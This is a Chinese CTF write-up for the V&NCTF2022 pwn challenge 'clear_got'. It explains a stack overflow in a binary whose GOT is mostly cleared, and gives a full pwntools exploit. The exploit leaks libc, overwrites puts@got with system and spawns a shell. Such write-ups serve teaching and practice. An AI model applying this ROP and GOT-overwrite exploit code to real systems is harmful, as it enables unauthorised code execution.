V&NCTF2022 --PWN(逐步更新,)


在赛后结合wp对题目进行复现

clear_got

   很明显的溢出,且程序清空了got表(清空了但没完全清空)

可以看到剩下libc_start_main没清空gdb调试后还有stdout没有清空

 程序给了我们可以利用的rop

 所以我们可以先调用write去读取出来这个libc_start_main和stdout的值,去获得libc的值,也刚好把end2利用了起来,因为这里有个retn,(retn就是先eip=esp,然后esp=esp+4 ,网上查的)会跳转到我们覆盖的rbp的地址,此时让rax为0

然后再调用read(0,0x601080,rbx)去往got表里面写值,在这步我们可以输入system的值去覆盖put_got的值

最后我们通过调用puts_plt的值,去获得shell

完整exp如下

from pwn import *

p = process('./clear_got')
#p = remote('node4.buuoj.cn',28875)
elf = ELF('./clear_got')

libc = ELF('./libc-2.23.so')
pop_rdi = 0x4007f3
syscall = 0x40077e
pop_rsi = 0x4007f1


payload = b'a'*0x60+p64(0x40075c)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x601040)+p64(0)+p64(0x400773)
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x601008)+p64(0)+p64(syscall)
payload += p64(pop_rdi)+p64(0x601008)+p64(elf.plt['puts'])

p.send(payload)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x020740
print('libc_base--->>'+hex(libc_base))
#gdb.attach(p)
key = raw_input()
system = libc_base + libc.sym['system']
one = libc_base + 0x45216
print('system--->>'+hex(system))
payload = b'/bin/sh\x00'+p64(system)*6
key = raw_input()
p.sendline(payload)
p.interactive()

相关